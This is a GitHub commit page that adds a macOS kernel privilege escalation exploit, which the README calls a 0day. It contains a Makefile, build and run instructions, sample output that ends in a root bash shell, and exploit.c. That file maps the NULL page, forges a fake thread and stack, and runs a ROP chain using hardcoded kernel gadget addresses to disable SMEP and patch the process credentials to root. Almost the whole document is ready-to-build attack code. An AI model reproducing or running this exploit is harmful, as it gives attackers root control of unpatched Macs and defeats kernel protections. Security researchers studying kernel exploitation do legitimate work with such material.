Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
7 changed files
with
447 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
# | ||
# Makefile | ||
# | ||
# Created by Ilias Morad. | ||
# Copyright © 2019 Ilias Morad. All rights reserved. | ||
# | ||
|
||
main: exploit.c gadgets.c kernel.s | ||
nasm -f macho32 -o kernel.o kernel.s | ||
gcc -o exploit -m32 -Wl,-pagezero_size,0 -masm=intel exploit.c gadgets.c kernel.o | ||
|
||
clean: | ||
rm exploit *.o |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,54 @@ | ||
# macOS-Kernel-Exploit | ||
macOS Kernel Exploit for CVE-????-???? (currently a 0day. I'll add the CVE# once it is published). Credits for the bug go to @LinusHenze :). | ||
|
||
## General | ||
macOS Kernel Exploit for CVE-????-???? (currently a 0day. | ||
I'll add the CVE# once it is published ;) ). | ||
|
||
Thanks to @LinusHenze for this cool bug and his support ;P. | ||
|
||
## Writeup | ||
|
||
Probably coming soon. | ||
If you want to try and exploit it yourself, here are a few things to get you started: | ||
|
||
- VM: Download the macOS installer from the appstore and drag the `.app` file into VMWare's `NEW VM` window | ||
- Kernel Debugging setup: http://ddeville.me/2015/08/using-the-vmware-fusion-gdb-stub-for-kernel-debugging-with-lldb | ||
- Have a look at the _kernel_trap function | ||
|
||
|
||
## Build | ||
|
||
You will need XCODE <= 9.4.1 to build the exploit. (It needs to be 32bit) | ||
|
||
``` | ||
make | ||
``` | ||
|
||
## Execution | ||
|
||
``` | ||
./exploit <KASLR slide> | ||
``` | ||
|
||
NOTE: a KASLR leak is required in order for the exploit to do more that just | ||
freezing the system so it's not that bad :) | ||
|
||
**Example**: | ||
``` | ||
[debug@Kernel-Mac Shared ]$ ./exploit 0x1600000 | ||
[*] Kernel slide: 0x1600000 | ||
[*] uid=0x1f5 euid=0x1f5 gid=0x14 egid=0x14 | ||
[*] Mapped NULL Page to catch GS accesses | ||
[*] Fake Thread is at: 0x10000 | ||
[*] Fake Stack is at: 0x5d000000 | ||
[+] SAVED_STATE32 setup done! | ||
[DEBUG] escalatePrivs: 0xa7b39 | ||
[DEBUG] SMEP disable ROP-Chain: | ||
70 92 82 01 80 FF FF FF E0 06 06 00 00 00 00 00 | p............... | ||
13 B6 A0 01 80 FF FF FF 39 7B 0A 00 00 00 00 00 | ........9{...... | ||
[DEBUG] Waiting... | ||
[+] Here we go... | ||
[+] Userland shellcode says hi! | ||
[*] Patched uid=0x0 euid=0x0 gid=0x14 egid=0x14 | ||
bash-3.2# | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
#ifndef definitions_h | ||
#define definitions_h | ||
|
||
#include <string.h> // memset | ||
#include <mach/mach.h> // thread_set_state | ||
|
||
#pragma pack(4) | ||
|
||
#define x86_SAVED_STATE32 THREAD_STATE_NONE + 1 | ||
#define x86_SAVED_STATE64 THREAD_STATE_NONE + 2 | ||
|
||
struct x86_saved_state32 { | ||
uint32_t gs; // 0x00 | ||
uint32_t fs; | ||
uint32_t es; // 0x08 | ||
uint32_t ds; | ||
uint32_t edi; // 0x10 | ||
uint32_t esi; | ||
uint32_t ebp; // 0x18 | ||
uint32_t cr2; | ||
uint32_t ebx; // 0x20 | ||
uint32_t edx; | ||
uint32_t ecx; // 0x28 | ||
uint32_t eax; | ||
uint16_t trapno; // 0x30 | ||
uint16_t cpu; // 0x32 | ||
uint32_t err; // 0x34 | ||
uint32_t eip; | ||
uint32_t cs; // 0x3c | ||
uint32_t efl; | ||
uint32_t uesp; // 0x44 | ||
uint32_t ss; | ||
}; | ||
typedef struct x86_saved_state32 x86_saved_state32_t; | ||
|
||
#define x86_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \ | ||
(sizeof (x86_saved_state32_t)/sizeof(unsigned int))) | ||
|
||
#pragma pack(0) | ||
|
||
#endif /* definitions_h */ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,152 @@ | ||
// | ||
// exploit.c | ||
// | ||
// Created by Ilias Morad. | ||
// Copyright © 2019 Ilias Morad. All rights reserved. | ||
// | ||
|
||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <unistd.h> | ||
|
||
#include "definitions.h" | ||
#include "gadgets.h" | ||
|
||
|
||
#define DEBUG 1 | ||
|
||
|
||
// Used in kernel.s | ||
extern uint64_t current_proc; | ||
extern uint64_t proc_ucred; | ||
extern uint64_t posix_cred_get; | ||
extern uint64_t return_to_user; | ||
|
||
extern void escalatePrivs(void); | ||
|
||
|
||
// For debugging | ||
void hexdump(const void* data, size_t size) { | ||
char ascii[17]; | ||
size_t i, j; | ||
ascii[16] = '\0'; | ||
for (i = 0; i < size; ++i) { | ||
printf("%02X ", ((unsigned char*)data)[i]); | ||
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { | ||
ascii[i % 16] = ((unsigned char*)data)[i]; | ||
} else { | ||
ascii[i % 16] = '.'; | ||
} | ||
if ((i+1) % 8 == 0 || i+1 == size) { | ||
printf(" "); | ||
if ((i+1) % 16 == 0) { | ||
printf("| %s \n", ascii); | ||
} else if (i+1 == size) { | ||
ascii[(i+1) % 16] = '\0'; | ||
if ((i+1) % 16 <= 8) { | ||
printf(" "); | ||
} | ||
for (j = (i+1) % 16; j < 16; ++j) { | ||
printf(" "); | ||
} | ||
printf("| %s \n", ascii); | ||
} | ||
} | ||
} | ||
} | ||
|
||
void fail() { | ||
puts("[-] Stopping exploit"); | ||
exit(-1); | ||
} | ||
|
||
int main(int argc, const char *argv[]) { | ||
kern_return_t err = -1; | ||
uint64_t kSlide = -1; | ||
|
||
// after we return to userland our process state is super messed up | ||
// in order to be able to get a "stable" environment | ||
// our userland shellcode will just exec() itself again as root | ||
if(getuid() == 0) { | ||
puts("[+] Userland shellcode says hi!"); | ||
printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid()); | ||
system("/bin/bash"); | ||
exit(0); | ||
} | ||
|
||
if(argc < 2) { | ||
puts("[-] You need to provide the kernel slide."); | ||
fail(); | ||
} else { | ||
kSlide = strtol(argv[1], NULL, 0x10); | ||
printf("[*] Kernel slide: 0x%llx\n", kSlide); | ||
} | ||
|
||
current_proc = 0xffffff8000968360 + kSlide; | ||
proc_ucred = 0xffffff8000820d30 + kSlide; | ||
posix_cred_get = 0xffffff80007ddbe0 + kSlide; | ||
return_to_user = 0xffffff8000229680 + kSlide; | ||
|
||
printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid()); | ||
|
||
vm_address_t pageZero = 0x00; | ||
err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0); | ||
if(err != 0) { | ||
printf("[-] vm_allocate(pageZero) returned %d\n", err); | ||
fail(); | ||
} | ||
memset(0,0,0x1000); | ||
puts("[*] Mapped NULL Page to catch GS accesses"); | ||
|
||
vm_address_t fakeThread = 0; | ||
err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE); | ||
if(err != 0) { | ||
printf("[-] vm_allocate(fakeThread) returned %d\n", err); | ||
fail(); | ||
} | ||
printf("[*] Fake Thread is at: 0x%x\n", fakeThread); | ||
|
||
uint64_t *fakeStack = (uint64_t *)0x5d000000; | ||
vm_address_t fakeStackk = 0x5d000000; | ||
err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0); | ||
if(err != 0) { | ||
printf("[-] vm_allocate(fakeStack) returned %d\n", err); | ||
fail(); | ||
} | ||
printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack); | ||
|
||
x86_saved_state32_t state; | ||
memset(&state, 0xFF, sizeof(x86_saved_state32_t)); | ||
state.gs = 0x23; | ||
|
||
*(int64_t*)(pageZero+0x8) = fakeThread; // gs:0x8 = pointer to thread structure | ||
*(int64_t*)(fakeThread+0x350) = ROP_PIVOT_STACK + kSlide; // thread->recover; This will be called the next time the | ||
// kernel execute iretq | ||
*(int64_t*)(pageZero+0x168) = 0x400+0x28; // stackpointer + 0x28 (not used) | ||
*(int64_t*)(pageZero+0x400) = 0x4242424242424242; // [rsp] (not used) | ||
|
||
puts("[+] SAVED_STATE32 setup done!"); | ||
|
||
|
||
// Disable SMEP | ||
int sp = 0; | ||
fakeStack[sp] = kSlide + ROP_POP_RAX ; ++sp; | ||
fakeStack[sp] = CPU_DISABLE_SMEP ; ++sp; | ||
fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX ; ++sp; | ||
// SMEP is disabled and we can jump to our userland code part | ||
fakeStack[sp] = (uint64_t)escalatePrivs ; ++sp; | ||
|
||
|
||
if(DEBUG) { | ||
char c; | ||
printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs); | ||
hexdump((const void *)fakeStackk, 0x20); | ||
puts("[DEBUG] Waiting..."); | ||
// scanf(" %c", &c); | ||
} | ||
|
||
puts("[+] Here we go..."); | ||
thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT); | ||
while(1) {} | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
// ROP Helpers | ||
|
||
void __attribute__((naked)) swapgs() { | ||
__asm__ __volatile__("swapgs; ret "); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
// | ||
// gadgets.h | ||
// | ||
// Created by Ilias Morad. | ||
// Copyright © 2019 Ilias Morad. All rights reserved. | ||
// | ||
|
||
#ifndef gadgets_h | ||
#define gadgets_h | ||
/* Backup stack pivots */ | ||
// 0xffffff80005ea56b: mov esp, 0x5d000000; ret; | ||
// 0xffffff80008e1834: mov esp, 0x10024; add cl, ch; ret; | ||
// 0xffffff800060ef11: mov esp, 0xff000000; ret; | ||
// 0xffffff8000a241ee: xchg esp, esi; dec dword ptr [rax - 0x77]; ret; | ||
|
||
#define ROP_PIVOT_STACK 0xffffff80005ea56b // mov esp, 0x5d000000; ret; | ||
#define ROP_MOV_CR4_RAX 0xffffff800040b613 // mov cr4, rax; ret; | ||
#define ROP_POP_RAX 0xffffff8000229270 // pop rax; ret; | ||
#define ROP_POP_RDI 0xffffff8000228e74 // pop rdi; ret; | ||
#define ROP_POP_RSI 0xffffff800047c02e // pop rsi; ret; | ||
#define ROP_POP_RDX 0xffffff8000273d6f // pop rdx; ret; | ||
#define ROP_POP_RCX 0xffffff80007ce67a // pop rcx; ret; | ||
#define ROP_MOV_RAX_RCX 0xffffff80002e736e // mov rax, rcx; ret; | ||
|
||
#define ROP_RET32_IRET 0xffffff80002298bc // iretq | ||
|
||
#define CPU_ENABLE_SMEP 0x00000000001606e0 | ||
#define CPU_DISABLE_SMEP 0x00000000000606e0 | ||
|
||
|
||
void __attribute__((naked)) swapgs(); | ||
|
||
#endif |
Oops, something went wrong.